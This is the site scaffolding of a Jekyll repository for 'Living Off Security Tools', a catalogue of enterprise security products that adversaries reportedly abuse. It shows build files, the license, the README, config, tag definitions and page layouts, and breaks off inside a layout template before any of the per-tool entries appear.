├── 404.html
├── Dockerfile
├── Gemfile
├── Gemfile.lock
├── LICENSE
├── Makefile
├── README.md
├── _config.yml
├── _data
    └── tags.yml
├── _includes
    └── home.html
├── _layouts
    ├── default.html
    └── tool.html
├── _sass
    └── styles.scss
├── _tool
    ├── CarbonBlack.md
    ├── Cortex.md
    ├── Crowdstrike.md
    ├── Defender.md
    ├── GMER.md
    ├── OSQuery.md
    ├── ProcessExplorer.md
    ├── Velociraptor.md
    └── Wazuh.md
├── api.json
├── assets
    ├── css
    │   ├── styles.scss
    │   └── syntax.css
    └── js
    │   └── search.js
└── index.html


/404.html:
--------------------------------------------------------------------------------
 1 | ---
 2 | permalink: /404.html
 3 | layout: default
 4 | ---
 5 | 
 6 | <style type="text/css" media="screen">
 7 |   .container {
 8 |     margin: 10px auto;
 9 |     max-width: 600px;
10 |     text-align: center;
11 |   }
12 |   h1 {
13 |     margin: 30px 0;
14 |     font-size: 4em;
15 |     line-height: 1;
16 |     letter-spacing: -1px;
17 |   }
18 | </style>
19 | 
20 | <div class="container">
21 |   <h1>404</h1>
22 | 
23 |   <p><strong>Page not found :(</strong></p>
24 |   <p>The requested page could not be found.</p>
25 | </div>
26 | 


--------------------------------------------------------------------------------
/Dockerfile:
--------------------------------------------------------------------------------
 1 | FROM ruby:3.2@sha256:93c3c0d55a9bba1c853c86f3f3eb38b1eaec8b4fe89d491a9fe5d125eeaed4c7
 2 | 
 3 | WORKDIR /app
 4 | 
 5 | COPY Gemfile Gemfile.lock ./
 6 | 
 7 | RUN bundle install
 8 | 
 9 | CMD jekyll serve -H 0.0.0.0
10 | 


--------------------------------------------------------------------------------
/Gemfile:
--------------------------------------------------------------------------------
 1 | source "https://rubygems.org"
 2 | # Hello! This is where you manage which Jekyll version is used to run.
 3 | # When you want to use a different version, change it below, save the
 4 | # file and run `bundle install`. Run Jekyll with `bundle exec`, like so:
 5 | #
 6 | #     bundle exec jekyll serve
 7 | #
 8 | # This will help ensure the proper Jekyll version is running.
 9 | # Happy Jekylling!
10 | 
11 | # gem "jekyll", "~> 4.3.3"
12 | gem "github-pages", "~> 228", group: :jekyll_plugins
13 | 
14 | # This is the default theme for new Jekyll sites. You may change this to anything you like.
15 | gem "minima", "~> 2.5"
16 | # If you want to use GitHub Pages, remove the "gem "jekyll"" above and
17 | # uncomment the line below. To upgrade, run `bundle update github-pages`.
18 | # gem "github-pages", group: :jekyll_plugins
19 | # If you have any plugins, put them here!
20 | group :jekyll_plugins do
21 |   gem "jekyll-feed", "~> 0.12"
22 | end
23 | 
24 | # Windows and JRuby does not include zoneinfo files, so bundle the tzinfo-data gem
25 | # and associated library.
26 | platforms :mingw, :x64_mingw, :mswin, :jruby do
27 |   gem "tzinfo", ">= 1", "< 3"
28 |   gem "tzinfo-data"
29 | end
30 | 
31 | # Performance-booster for watching directories on Windows
32 | gem "wdm", "~> 0.1.1", :platforms => [:mingw, :x64_mingw, :mswin]
33 | 
34 | # Lock `http_parser.rb` gem to `v0.6.x` on JRuby builds since newer versions of the gem
35 | # do not have a Java counterpart.
36 | gem "http_parser.rb", "~> 0.6.0", :platforms => [:jruby]
37 | 
38 | gem 'webrick', group: :development
39 | 
40 | gem "rouge", "~> 3.26"
41 | 


--------------------------------------------------------------------------------
/Gemfile.lock:
--------------------------------------------------------------------------------
  1 | GEM
  2 |   remote: https://rubygems.org/
  3 |   specs:
  4 |     activesupport (7.1.3)
  5 |       base64
  6 |       bigdecimal
  7 |       concurrent-ruby (~> 1.0, >= 1.0.2)
  8 |       connection_pool (>= 2.2.5)
  9 |       drb
 10 |       i18n (>= 1.6, < 2)
 11 |       minitest (>= 5.1)
 12 |       mutex_m
 13 |       tzinfo (~> 2.0)
 14 |     addressable (2.8.6)
 15 |       public_suffix (>= 2.0.2, < 6.0)
 16 |     base64 (0.2.0)
 17 |     bigdecimal (3.1.6)
 18 |     coffee-script (2.4.1)
 19 |       coffee-script-source
 20 |       execjs
 21 |     coffee-script-source (1.11.1)
 22 |     colorator (1.1.0)
 23 |     commonmarker (0.23.10)
 24 |     concurrent-ruby (1.2.3)
 25 |     connection_pool (2.4.1)
 26 |     dnsruby (1.70.0)
 27 |       simpleidn (~> 0.2.1)
 28 |     drb (2.2.0)
 29 |       ruby2_keywords
 30 |     em-websocket (0.5.3)
 31 |       eventmachine (>= 0.12.9)
 32 |       http_parser.rb (~> 0)
 33 |     ethon (0.16.0)
 34 |       ffi (>= 1.15.0)
 35 |     eventmachine (1.2.7)
 36 |     execjs (2.9.1)
 37 |     faraday (2.9.0)
 38 |       faraday-net_http (>= 2.0, < 3.2)
 39 |     faraday-net_http (3.1.0)
 40 |       net-http
 41 |     ffi (1.16.3)
 42 |     forwardable-extended (2.6.0)
 43 |     gemoji (3.0.1)
 44 |     github-pages (228)
 45 |       github-pages-health-check (= 1.17.9)
 46 |       jekyll (= 3.9.3)
 47 |       jekyll-avatar (= 0.7.0)
 48 |       jekyll-coffeescript (= 1.1.1)
 49 |       jekyll-commonmark-ghpages (= 0.4.0)
 50 |       jekyll-default-layout (= 0.1.4)
 51 |       jekyll-feed (= 0.15.1)
 52 |       jekyll-gist (= 1.5.0)
 53 |       jekyll-github-metadata (= 2.13.0)
 54 |       jekyll-include-cache (= 0.2.1)
 55 |       jekyll-mentions (= 1.6.0)
 56 |       jekyll-optional-front-matter (= 0.3.2)
 57 |       jekyll-paginate (= 1.1.0)
 58 |       jekyll-readme-index (= 0.3.0)
 59 |       jekyll-redirect-from (= 0.16.0)
 60 |       jekyll-relative-links (= 0.6.1)
 61 |       jekyll-remote-theme (= 0.4.3)
 62 |       jekyll-sass-converter (= 1.5.2)
 63 |       jekyll-seo-tag (= 2.8.0)
 64 |       jekyll-sitemap (= 1.4.0)
 65 |       jekyll-swiss (= 1.0.0)
 66 |       jekyll-theme-architect (= 0.2.0)
 67 |       jekyll-theme-cayman (= 0.2.0)
 68 |       jekyll-theme-dinky (= 0.2.0)
 69 |       jekyll-theme-hacker (= 0.2.0)
 70 |       jekyll-theme-leap-day (= 0.2.0)
 71 |       jekyll-theme-merlot (= 0.2.0)
 72 |       jekyll-theme-midnight (= 0.2.0)
 73 |       jekyll-theme-minimal (= 0.2.0)
 74 |       jekyll-theme-modernist (= 0.2.0)
 75 |       jekyll-theme-primer (= 0.6.0)
 76 |       jekyll-theme-slate (= 0.2.0)
 77 |       jekyll-theme-tactile (= 0.2.0)
 78 |       jekyll-theme-time-machine (= 0.2.0)
 79 |       jekyll-titles-from-headings (= 0.5.3)
 80 |       jemoji (= 0.12.0)
 81 |       kramdown (= 2.3.2)
 82 |       kramdown-parser-gfm (= 1.1.0)
 83 |       liquid (= 4.0.4)
 84 |       mercenary (~> 0.3)
 85 |       minima (= 2.5.1)
 86 |       nokogiri (>= 1.13.6, < 2.0)
 87 |       rouge (= 3.26.0)
 88 |       terminal-table (~> 1.4)
 89 |     github-pages-health-check (1.17.9)
 90 |       addressable (~> 2.3)
 91 |       dnsruby (~> 1.60)
 92 |       octokit (~> 4.0)
 93 |       public_suffix (>= 3.0, < 5.0)
 94 |       typhoeus (~> 1.3)
 95 |     html-pipeline (2.14.3)
 96 |       activesupport (>= 2)
 97 |       nokogiri (>= 1.4)
 98 |     http_parser.rb (0.8.0)
 99 |     i18n (1.14.1)
100 |       concurrent-ruby (~> 1.0)
101 |     jekyll (3.9.3)
102 |       addressable (~> 2.4)
103 |       colorator (~> 1.0)
104 |       em-websocket (~> 0.5)
105 |       i18n (>= 0.7, < 2)
106 |       jekyll-sass-converter (~> 1.0)
107 |       jekyll-watch (~> 2.0)
108 |       kramdown (>= 1.17, < 3)
109 |       liquid (~> 4.0)
110 |       mercenary (~> 0.3.3)
111 |       pathutil (~> 0.9)
112 |       rouge (>= 1.7, < 4)
113 |       safe_yaml (~> 1.0)
114 |     jekyll-avatar (0.7.0)
115 |       jekyll (>= 3.0, < 5.0)
116 |     jekyll-coffeescript (1.1.1)
117 |       coffee-script (~> 2.2)
118 |       coffee-script-source (~> 1.11.1)
119 |     jekyll-commonmark (1.4.0)
120 |       commonmarker (~> 0.22)
121 |     jekyll-commonmark-ghpages (0.4.0)
122 |       commonmarker (~> 0.23.7)
123 |       jekyll (~> 3.9.0)
124 |       jekyll-commonmark (~> 1.4.0)
125 |       rouge (>= 2.0, < 5.0)
126 |     jekyll-default-layout (0.1.4)
127 |       jekyll (~> 3.0)
128 |     jekyll-feed (0.15.1)
129 |       jekyll (>= 3.7, < 5.0)
130 |     jekyll-gist (1.5.0)
131 |       octokit (~> 4.2)
132 |     jekyll-github-metadata (2.13.0)
133 |       jekyll (>= 3.4, < 5.0)
134 |       octokit (~> 4.0, != 4.4.0)
135 |     jekyll-include-cache (0.2.1)
136 |       jekyll (>= 3.7, < 5.0)
137 |     jekyll-mentions (1.6.0)
138 |       html-pipeline (~> 2.3)
139 |       jekyll (>= 3.7, < 5.0)
140 |     jekyll-optional-front-matter (0.3.2)
141 |       jekyll (>= 3.0, < 5.0)
142 |     jekyll-paginate (1.1.0)
143 |     jekyll-readme-index (0.3.0)
144 |       jekyll (>= 3.0, < 5.0)
145 |     jekyll-redirect-from (0.16.0)
146 |       jekyll (>= 3.3, < 5.0)
147 |     jekyll-relative-links (0.6.1)
148 |       jekyll (>= 3.3, < 5.0)
149 |     jekyll-remote-theme (0.4.3)
150 |       addressable (~> 2.0)
151 |       jekyll (>= 3.5, < 5.0)
152 |       jekyll-sass-converter (>= 1.0, <= 3.0.0, != 2.0.0)
153 |       rubyzip (>= 1.3.0, < 3.0)
154 |     jekyll-sass-converter (1.5.2)
155 |       sass (~> 3.4)
156 |     jekyll-seo-tag (2.8.0)
157 |       jekyll (>= 3.8, < 5.0)
158 |     jekyll-sitemap (1.4.0)
159 |       jekyll (>= 3.7, < 5.0)
160 |     jekyll-swiss (1.0.0)
161 |     jekyll-theme-architect (0.2.0)
162 |       jekyll (> 3.5, < 5.0)
163 |       jekyll-seo-tag (~> 2.0)
164 |     jekyll-theme-cayman (0.2.0)
165 |       jekyll (> 3.5, < 5.0)
166 |       jekyll-seo-tag (~> 2.0)
167 |     jekyll-theme-dinky (0.2.0)
168 |       jekyll (> 3.5, < 5.0)
169 |       jekyll-seo-tag (~> 2.0)
170 |     jekyll-theme-hacker (0.2.0)
171 |       jekyll (> 3.5, < 5.0)
172 |       jekyll-seo-tag (~> 2.0)
173 |     jekyll-theme-leap-day (0.2.0)
174 |       jekyll (> 3.5, < 5.0)
175 |       jekyll-seo-tag (~> 2.0)
176 |     jekyll-theme-merlot (0.2.0)
177 |       jekyll (> 3.5, < 5.0)
178 |       jekyll-seo-tag (~> 2.0)
179 |     jekyll-theme-midnight (0.2.0)
180 |       jekyll (> 3.5, < 5.0)
181 |       jekyll-seo-tag (~> 2.0)
182 |     jekyll-theme-minimal (0.2.0)
183 |       jekyll (> 3.5, < 5.0)
184 |       jekyll-seo-tag (~> 2.0)
185 |     jekyll-theme-modernist (0.2.0)
186 |       jekyll (> 3.5, < 5.0)
187 |       jekyll-seo-tag (~> 2.0)
188 |     jekyll-theme-primer (0.6.0)
189 |       jekyll (> 3.5, < 5.0)
190 |       jekyll-github-metadata (~> 2.9)
191 |       jekyll-seo-tag (~> 2.0)
192 |     jekyll-theme-slate (0.2.0)
193 |       jekyll (> 3.5, < 5.0)
194 |       jekyll-seo-tag (~> 2.0)
195 |     jekyll-theme-tactile (0.2.0)
196 |       jekyll (> 3.5, < 5.0)
197 |       jekyll-seo-tag (~> 2.0)
198 |     jekyll-theme-time-machine (0.2.0)
199 |       jekyll (> 3.5, < 5.0)
200 |       jekyll-seo-tag (~> 2.0)
201 |     jekyll-titles-from-headings (0.5.3)
202 |       jekyll (>= 3.3, < 5.0)
203 |     jekyll-watch (2.2.1)
204 |       listen (~> 3.0)
205 |     jemoji (0.12.0)
206 |       gemoji (~> 3.0)
207 |       html-pipeline (~> 2.2)
208 |       jekyll (>= 3.0, < 5.0)
209 |     kramdown (2.3.2)
210 |       rexml
211 |     kramdown-parser-gfm (1.1.0)
212 |       kramdown (~> 2.0)
213 |     liquid (4.0.4)
214 |     listen (3.8.0)
215 |       rb-fsevent (~> 0.10, >= 0.10.3)
216 |       rb-inotify (~> 0.9, >= 0.9.10)
217 |     mercenary (0.3.6)
218 |     minima (2.5.1)
219 |       jekyll (>= 3.5, < 5.0)
220 |       jekyll-feed (~> 0.9)
221 |       jekyll-seo-tag (~> 2.1)
222 |     minitest (5.21.2)
223 |     mutex_m (0.2.0)
224 |     net-http (0.4.1)
225 |       uri
226 |     nokogiri (1.16.2-x86_64-linux)
227 |       racc (~> 1.4)
228 |     octokit (4.25.1)
229 |       faraday (>= 1, < 3)
230 |       sawyer (~> 0.9)
231 |     pathutil (0.16.2)
232 |       forwardable-extended (~> 2.6)
233 |     public_suffix (4.0.7)
234 |     racc (1.7.3)
235 |     rb-fsevent (0.11.2)
236 |     rb-inotify (0.10.1)
237 |       ffi (~> 1.0)
238 |     rexml (3.2.6)
239 |     rouge (3.26.0)
240 |     ruby2_keywords (0.0.5)
241 |     rubyzip (2.3.2)
242 |     safe_yaml (1.0.5)
243 |     sass (3.7.4)
244 |       sass-listen (~> 4.0.0)
245 |     sass-listen (4.0.0)
246 |       rb-fsevent (~> 0.9, >= 0.9.4)
247 |       rb-inotify (~> 0.9, >= 0.9.7)
248 |     sawyer (0.9.2)
249 |       addressable (>= 2.3.5)
250 |       faraday (>= 0.17.3, < 3)
251 |     simpleidn (0.2.1)
252 |       unf (~> 0.1.4)
253 |     terminal-table (1.8.0)
254 |       unicode-display_width (~> 1.1, >= 1.1.1)
255 |     typhoeus (1.4.1)
256 |       ethon (>= 0.9.0)
257 |     tzinfo (2.0.6)
258 |       concurrent-ruby (~> 1.0)
259 |     unf (0.1.4)
260 |       unf_ext
261 |     unf_ext (0.0.9.1)
262 |     unicode-display_width (1.8.0)
263 |     uri (0.13.0)
264 |     webrick (1.8.1)
265 | 
266 | PLATFORMS
267 |   x86_64-linux
268 | 
269 | DEPENDENCIES
270 |   github-pages (~> 228)
271 |   http_parser.rb (~> 0.6.0)
272 |   jekyll-feed (~> 0.12)
273 |   minima (~> 2.5)
274 |   rouge (~> 3.26)
275 |   tzinfo (>= 1, < 3)
276 |   tzinfo-data
277 |   wdm (~> 0.1.1)
278 |   webrick
279 | 
280 | BUNDLED WITH
281 |    2.4.22
282 | 


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
  1 |                                  Apache License
  2 |                            Version 2.0, January 2004
  3 |                         http://www.apache.org/licenses/
  4 | 
  5 |    TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
  6 | 
  7 |    1. Definitions.
  8 | 
  9 |       "License" shall mean the terms and conditions for use, reproduction,
 10 |       and distribution as defined by Sections 1 through 9 of this document.
 11 | 
 12 |       "Licensor" shall mean the copyright owner or entity authorized by
 13 |       the copyright owner that is granting the License.
 14 | 
 15 |       "Legal Entity" shall mean the union of the acting entity and all
 16 |       other entities that control, are controlled by, or are under common
 17 |       control with that entity. For the purposes of this definition,
 18 |       "control" means (i) the power, direct or indirect, to cause the
 19 |       direction or management of such entity, whether by contract or
 20 |       otherwise, or (ii) ownership of fifty percent (50%) or more of the
 21 |       outstanding shares, or (iii) beneficial ownership of such entity.
 22 | 
 23 |       "You" (or "Your") shall mean an individual or Legal Entity
 24 |       exercising permissions granted by this License.
 25 | 
 26 |       "Source" form shall mean the preferred form for making modifications,
 27 |       including but not limited to software source code, documentation
 28 |       source, and configuration files.
 29 | 
 30 |       "Object" form shall mean any form resulting from mechanical
 31 |       transformation or translation of a Source form, including but
 32 |       not limited to compiled object code, generated documentation,
 33 |       and conversions to other media types.
 34 | 
 35 |       "Work" shall mean the work of authorship, whether in Source or
 36 |       Object form, made available under the License, as indicated by a
 37 |       copyright notice that is included in or attached to the work
 38 |       (an example is provided in the Appendix below).
 39 | 
 40 |       "Derivative Works" shall mean any work, whether in Source or Object
 41 |       form, that is based on (or derived from) the Work and for which the
 42 |       editorial revisions, annotations, elaborations, or other modifications
 43 |       represent, as a whole, an original work of authorship. For the purposes
 44 |       of this License, Derivative Works shall not include works that remain
 45 |       separable from, or merely link (or bind by name) to the interfaces of,
 46 |       the Work and Derivative Works thereof.
 47 | 
 48 |       "Contribution" shall mean any work of authorship, including
 49 |       the original version of the Work and any modifications or additions
 50 |       to that Work or Derivative Works thereof, that is intentionally
 51 |       submitted to Licensor for inclusion in the Work by the copyright owner
 52 |       or by an individual or Legal Entity authorized to submit on behalf of
 53 |       the copyright owner. For the purposes of this definition, "submitted"
 54 |       means any form of electronic, verbal, or written communication sent
 55 |       to the Licensor or its representatives, including but not limited to
 56 |       communication on electronic mailing lists, source code control systems,
 57 |       and issue tracking systems that are managed by, or on behalf of, the
 58 |       Licensor for the purpose of discussing and improving the Work, but
 59 |       excluding communication that is conspicuously marked or otherwise
 60 |       designated in writing by the copyright owner as "Not a Contribution."
 61 | 
 62 |       "Contributor" shall mean Licensor and any individual or Legal Entity
 63 |       on behalf of whom a Contribution has been received by Licensor and
 64 |       subsequently incorporated within the Work.
 65 | 
 66 |    2. Grant of Copyright License. Subject to the terms and conditions of
 67 |       this License, each Contributor hereby grants to You a perpetual,
 68 |       worldwide, non-exclusive, no-charge, royalty-free, irrevocable
 69 |       copyright license to reproduce, prepare Derivative Works of,
 70 |       publicly display, publicly perform, sublicense, and distribute the
 71 |       Work and such Derivative Works in Source or Object form.
 72 | 
 73 |    3. Grant of Patent License. Subject to the terms and conditions of
 74 |       this License, each Contributor hereby grants to You a perpetual,
 75 |       worldwide, non-exclusive, no-charge, royalty-free, irrevocable
 76 |       (except as stated in this section) patent license to make, have made,
 77 |       use, offer to sell, sell, import, and otherwise transfer the Work,
 78 |       where such license applies only to those patent claims licensable
 79 |       by such Contributor that are necessarily infringed by their
 80 |       Contribution(s) alone or by combination of their Contribution(s)
 81 |       with the Work to which such Contribution(s) was submitted. If You
 82 |       institute patent litigation against any entity (including a
 83 |       cross-claim or counterclaim in a lawsuit) alleging that the Work
 84 |       or a Contribution incorporated within the Work constitutes direct
 85 |       or contributory patent infringement, then any patent licenses
 86 |       granted to You under this License for that Work shall terminate
 87 |       as of the date such litigation is filed.
 88 | 
 89 |    4. Redistribution. You may reproduce and distribute copies of the
 90 |       Work or Derivative Works thereof in any medium, with or without
 91 |       modifications, and in Source or Object form, provided that You
 92 |       meet the following conditions:
 93 | 
 94 |       (a) You must give any other recipients of the Work or
 95 |           Derivative Works a copy of this License; and
 96 | 
 97 |       (b) You must cause any modified files to carry prominent notices
 98 |           stating that You changed the files; and
 99 | 
100 |       (c) You must retain, in the Source form of any Derivative Works
101 |           that You distribute, all copyright, patent, trademark, and
102 |           attribution notices from the Source form of the Work,
103 |           excluding those notices that do not pertain to any part of
104 |           the Derivative Works; and
105 | 
106 |       (d) If the Work includes a "NOTICE" text file as part of its
107 |           distribution, then any Derivative Works that You distribute must
108 |           include a readable copy of the attribution notices contained
109 |           within such NOTICE file, excluding those notices that do not
110 |           pertain to any part of the Derivative Works, in at least one
111 |           of the following places: within a NOTICE text file distributed
112 |           as part of the Derivative Works; within the Source form or
113 |           documentation, if provided along with the Derivative Works; or,
114 |           within a display generated by the Derivative Works, if and
115 |           wherever such third-party notices normally appear. The contents
116 |           of the NOTICE file are for informational purposes only and
117 |           do not modify the License. You may add Your own attribution
118 |           notices within Derivative Works that You distribute, alongside
119 |           or as an addendum to the NOTICE text from the Work, provided
120 |           that such additional attribution notices cannot be construed
121 |           as modifying the License.
122 | 
123 |       You may add Your own copyright statement to Your modifications and
124 |       may provide additional or different license terms and conditions
125 |       for use, reproduction, or distribution of Your modifications, or
126 |       for any such Derivative Works as a whole, provided Your use,
127 |       reproduction, and distribution of the Work otherwise complies with
128 |       the conditions stated in this License.
129 | 
130 |    5. Submission of Contributions. Unless You explicitly state otherwise,
131 |       any Contribution intentionally submitted for inclusion in the Work
132 |       by You to the Licensor shall be under the terms and conditions of
133 |       this License, without any additional terms or conditions.
134 |       Notwithstanding the above, nothing herein shall supersede or modify
135 |       the terms of any separate license agreement you may have executed
136 |       with Licensor regarding such Contributions.
137 | 
138 |    6. Trademarks. This License does not grant permission to use the trade
139 |       names, trademarks, service marks, or product names of the Licensor,
140 |       except as required for reasonable and customary use in describing the
141 |       origin of the Work and reproducing the content of the NOTICE file.
142 | 
143 |    7. Disclaimer of Warranty. Unless required by applicable law or
144 |       agreed to in writing, Licensor provides the Work (and each
145 |       Contributor provides its Contributions) on an "AS IS" BASIS,
146 |       WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 |       implied, including, without limitation, any warranties or conditions
148 |       of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 |       PARTICULAR PURPOSE. You are solely responsible for determining the
150 |       appropriateness of using or redistributing the Work and assume any
151 |       risks associated with Your exercise of permissions under this License.
152 | 
153 |    8. Limitation of Liability. In no event and under no legal theory,
154 |       whether in tort (including negligence), contract, or otherwise,
155 |       unless required by applicable law (such as deliberate and grossly
156 |       negligent acts) or agreed to in writing, shall any Contributor be
157 |       liable to You for damages, including any direct, indirect, special,
158 |       incidental, or consequential damages of any character arising as a
159 |       result of this License or out of the use or inability to use the
160 |       Work (including but not limited to damages for loss of goodwill,
161 |       work stoppage, computer failure or malfunction, or any and all
162 |       other commercial damages or losses), even if such Contributor
163 |       has been advised of the possibility of such damages.
164 | 
165 |    9. Accepting Warranty or Additional Liability. While redistributing
166 |       the Work or Derivative Works thereof, You may choose to offer,
167 |       and charge a fee for, acceptance of support, warranty, indemnity,
168 |       or other liability obligations and/or rights consistent with this
169 |       License. However, in accepting such obligations, You may act only
170 |       on Your own behalf and on Your sole responsibility, not on behalf
171 |       of any other Contributor, and only if You agree to indemnify,
172 |       defend, and hold each Contributor harmless for any liability
173 |       incurred by, or claims asserted against, such Contributor by reason
174 |       of your accepting any such warranty or additional liability.
175 | 
176 |    END OF TERMS AND CONDITIONS
177 | 
178 |    APPENDIX: How to apply the Apache License to your work.
179 | 
180 |       To apply the Apache License to your work, attach the following
181 |       boilerplate notice, with the fields enclosed by brackets "[]"
182 |       replaced with your own identifying information. (Don't include
183 |       the brackets!)  The text should be enclosed in the appropriate
184 |       comment syntax for the file format. We also recommend that a
185 |       file or class name and description of purpose be included on the
186 |       same "printed page" as the copyright notice for easier
187 |       identification within third-party archives.
188 | 
189 |    Copyright [yyyy] [name of copyright owner]
190 | 
191 |    Licensed under the Apache License, Version 2.0 (the "License");
192 |    you may not use this file except in compliance with the License.
193 |    You may obtain a copy of the License at
194 | 
195 |        http://www.apache.org/licenses/LICENSE-2.0
196 | 
197 |    Unless required by applicable law or agreed to in writing, software
198 |    distributed under the License is distributed on an "AS IS" BASIS,
199 |    WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 |    See the License for the specific language governing permissions and
201 |    limitations under the License.
202 | 


--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | docker.build:
2 | 	docker build -t Project-Lost .
3 | 
4 | serve:
5 | 	docker run --rm -it -v ${PWD}:/src --workdir /src -p 127.0.0.1:4000:4000 lotp
6 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # Living Off Security Tools (LOST)
 2 | [![0xAnalyst - LOST](https://img.shields.io/static/v1?label=0xanalyst&message=Project-Lost&color=blue&logo=github)](https://github.com/0xAnalyst/Project-Lost "Go to GitHub repo")
 3 | [![stars - LOST](https://img.shields.io/github/stars/0xAnalyst/Project-Lost?style=social)](https://github.com/0xAnalyst/Project-Lost)
 4 | [![forks - LOST](https://img.shields.io/github/forks/0xAnalyst/Project-Lost?style=social)](https://github.com/0xAnalyst/Project-Lost)
 5 | [![issues - LOST](https://img.shields.io/github/issues/0xAnalyst/Project-Lost)](https://github.com/0xAnalyst/Project-Lost/issues)
 6 | [![License](https://img.shields.io/badge/License-Apache_2.0-blue.svg)](https://opensource.org/licenses/Apache-2.0)
 7 | 
 8 | [![View site - GH Pages](https://img.shields.io/badge/View_site-GH_Pages-2ea44f?style=for-the-badge)](https://0xAnalyst.github.io/Project-Lost)
 9 | # Introduction
10 | 
11 | Living Off The Land Security Tools is a curated list of enterprise security tools used by adversaries to bypass carry out attacks and go under the radar as they are considered trusted tools. 
12 | # Contributions
13 | 
14 | We welcome contributions submitted as `Pull Requests` with new tool contributions or simply `Issues` for new ideas.
15 | 
16 | # License
17 | 
18 | Released under [Apache 2.0](/LICENSE).
19 | 
20 | ---
21 | 
22 | # Prior art / Credits
23 | 
24 | This project is largely inspired from previous projects such as:
25 | - https://gtfobins.github.io
26 | - https://lolbas-project.github.io
27 | - https://github.com/rotem-cider/cicd-lamb
28 | - https://boostsecurityio.github.io/lotp/
29 | # Theme
30 | I took the theme from the following lol project
31 | - https://boostsecurityio.github.io/lotp/
32 | 


--------------------------------------------------------------------------------
/_config.yml:
--------------------------------------------------------------------------------
 1 | title: LOST
 2 | email: 
 3 | description: >-
 4 |   LOTS - Living Off Security Tools
 5 | url: "/Project-Lost"
 6 | 
 7 | exclude:
 8 | - Gemfile
 9 | - Gemfile.lock
10 | - .github
11 | 
12 | collections:
13 |   tool:
14 |     output: true
15 |     permalink: /:collection/:title
16 | 
17 | exclude:
18 | - Dockerfile
19 | - Gemfile
20 | - Gemfile.lock
21 | - vendor
22 | 
23 | highlighter: rouge
24 | 
25 | defaults:
26 |   - scope:
27 |       path: ''
28 |     values:
29 |       layout: 'default'
30 |   - scope:
31 |       path: ''
32 |       type: 'tool'
33 |     values:
34 |       layout: 'tool'
35 | 


--------------------------------------------------------------------------------
/_data/tags.yml:
--------------------------------------------------------------------------------
 1 | Discovery:
 2 |   docs: |
 3 |     Enumerate system information including users,
 4 | Execution:
 5 |   docs: |
 6 |     Execute commands
 7 | C2:
 8 |   docs: |
 9 |     The tool is used to connect to C2 servers.
10 | Defense Evasion:
11 |   docs: |
12 |     The tool is used to bypass defense.
13 |     
14 | 
15 | 
16 | 


--------------------------------------------------------------------------------
/_includes/home.html:
--------------------------------------------------------------------------------
1 | <h2><em>Living Off Security Tools</em></h2>
2 | 
3 | <p>
4 |     Living Off The Land Security Tools is a curated list of Security Tools used by adversaries to bypass security controls and carry out attacks.
5 | </p>
6 | 


--------------------------------------------------------------------------------
/_layouts/default.html:
--------------------------------------------------------------------------------
 1 | <!doctype html>
 2 | <html class="no-js" lang="">
 3 |     <head>
 4 |         <meta charset="utf-8">
 5 |         <meta http-equiv="x-ua-compatible" content="ie=edge">
 6 |         <title>{{site.title}} - {{ page.title }}</title>
 7 |         <meta name="description" content="{{ site.description  }}">
 8 |         <meta name="viewport" content="width=device-width, initial-scale=1">
 9 |         <link href="{{site.url}}/assets/css/styles.css" rel="stylesheet"/>
10 |     </head>
11 |     <body>
12 |         <div id="content">
13 |             {{ content }}
14 |         </div>
15 |         <footer>
16 |             <div class="footer-content">
17 |                 <!-- Centered container for badges -->
18 |                 <div class="badges" style="text-align: center; padding: 20px;">
19 |                     <!-- GitHub Repo Badge -->
20 |                     <a href="https://github.com/0xAnalyst/Project-Lost" title="Go to GitHub repo">
21 |                         <img src="https://img.shields.io/static/v1?label=0xanalyst&message=Project-Lost&color=blue&logo=github" alt="0xanalyst - Project-Lost">
22 |                     </a>
23 |                     <!-- Stars Badge -->
24 |                     <a href="https://github.com/0xAnalyst/Project-Lost">
25 |                         <img src="https://img.shields.io/github/stars/0xAnalyst/Project-Lost?style=social" alt="stars - Project-Lost">
26 |                     </a>
27 |                     <!-- Forks Badge -->
28 |                     <a href="https://github.com/0xAnalyst/Project-Lost">
29 |                         <img src="https://img.shields.io/github/forks/0xAnalyst/Project-Lost?style=social" alt="forks - Project-Lost">
30 |                     </a>
31 |                     <!-- Issues Badge -->
32 |                     <a href="https://github.com/0xAnalyst/Project-Lost/issues">
33 |                         <img src="https://img.shields.io/github/issues/0xAnalyst/Project-Lost" alt="issues - Project-Lost">
34 |                     </a>
35 |                     <!-- License Badge -->
36 |                     <a href="https://github.com/0xAnalyst/Project-Lost#license">
37 |                         <img src="https://img.shields.io/badge/License-Apache_2.0-blue.svg" alt="License">
38 |                     </a>
39 |                 </div>
40 |                 <!-- Additional Footer Content -->
41 |                 <div class="additional-content" style="text-align: center; padding-bottom: 20px;">
42 |                     <p>The Living Off Security Tools| <a href="https://github.com/0xAnalyst/Project-Lost">github.com/0xAnalyst</a></p>
43 |                 </div>
44 |             </div>
45 |         </footer>        
46 |     </body>
47 | </html>
48 | 


--------------------------------------------------------------------------------
/_layouts/tool.html:
--------------------------------------------------------------------------------
 1 | ---
 2 | layout: default
 3 | ---
 4 | 
 5 | <h1><a href="{{site.url}}">Project-Lost</a></h1>
 6 | <h2>{{ page.title }}</h2>
 7 | <p class="tags">
 8 |     {% for tag in page.tags %}
 9 |         <a class="tag" data-tag="{{ tag }}" href="{{site.url}}?#{{ tag }}">{{ tag }}</a>
10 |     {% endfor %}
11 | </p>
12 | 
13 | {% if page.references %}
14 |     <h3>References</h3>
15 |     <ul class="references">
16 |         {% for reference in page.references %}
17 |             <li><a href="{{ reference }}">{{ reference }}</a></li>
18 |         {% endfor %}
19 |     </ul>
20 | {% endif %}
21 | 
22 | {{ content }}
23 | 
24 | <!-- Edit this page on GitHub link -->
25 | <div class="edit-page-link" style="margin-top: 20px; text-align: center;">
26 |     <a href="https://github.com/0xAnalyst/Project-Lost/edit/main{{ page.url | replace: '/tool/', '/_tool/' }}.md" title="Edit this page on GitHub">
27 |         <!-- GitHub Icon -->
28 |         <svg style="width:24px; height:24px; vertical-align:middle;" viewBox="0 0 24 24">
